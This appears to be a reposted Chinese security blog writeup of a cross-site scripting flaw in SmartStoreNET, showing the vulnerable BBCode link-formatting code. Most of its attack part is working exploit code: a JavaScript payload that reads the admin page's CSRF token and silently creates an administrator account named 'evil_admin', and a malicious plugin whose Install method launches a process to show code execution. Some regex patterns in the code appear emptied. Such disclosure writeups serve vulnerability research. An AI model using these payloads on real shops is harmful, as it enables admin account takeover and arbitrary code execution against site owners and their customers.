影响
技术分析
public static string FormatPrivateMessageText(this PrivateMessage message)
{
// [...]
var text = message.Text;
// [...]
text = HtmlUtils.ConvertPlainTextToHtml(text.HtmlEncode());
return BBCodeHelper.ToHtml(text);
}
private static readonly Regex regexUrl1 = new Regex(@"", RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static readonly Regex regexUrl2 = new Regex(@"", RegexOptions.Compiled | RegexOptions.IgnoreCase);
// [...]
if (replaceUrl)
{
// format the url tags:
// becomes: <a href="http://www.smartstore.com">my site</a>
text = regexUrl1.Replace(text, "<a href="$1" rel="nofollow">$2</a>"); // [1]
// format the url tags:
// becomes: <a href="http://www.smartstore.com">http://www.smartstore.com</a>
text = regexUrl2.Replace(text, "<a href="$1" rel="nofollow">$1</a>"); // [2]
}
async function run()
{
const customer_create_url = location.protocol + '//host.tld/admin/customer/create';
let res = await fetch(customer_create_url, {credentials: 'include'});
var parser = new DOMParser();
var htmlDoc = parser.parseFromString(await res.text(), 'text/html');
let csrf = htmlDoc.getElementsByName('__RequestVerificationToken');
data = {
save: 'save',
__RequestVerificationToken: csrf[0].attributes.value.nodeValue,
Id: 0,
Username: 'evil_admin',
Email: '[email protected]',
Password: 'evil_admin',
Gender: 'M',
FirstName: 'evil',
LastName: 'evil',
DateOfBirth: '5/1/2021',
Company: 'evil',
AdminComment: 'evil',
SelectedCustomerRoleIds: 1,
IsTaxExempt: false,
Active: true,
LoadedTabs: '#customer-edit-1'
}
let body = new URLSearchParams();
Object.keys(data).map(k => body.append(k, data[k]));
body.append('SelectedCustomerRoleIds', 3);
let foo = await fetch(customer_create_url, {method: 'POST', body: body, credentials: 'include'});
}
run()
执行任意代码
using SmartStore.Core.Plugins;
// [...]
namespace SmartStore.Evil
{
public class Evil : BasePlugin
{
// [...]
public static string SystemName => "SmartStore.Evil";
// [...]
public override void Install()
{
System.Diagnostics.Process p = System.Diagnostics.Process.Start("calc.exe");
p.WaitForInputIdle();
base.Install();
}
// [...]
}
}
END
原文始发于微信公众号(SecTr安全团队):SmartStoreNET中的跨站脚本漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论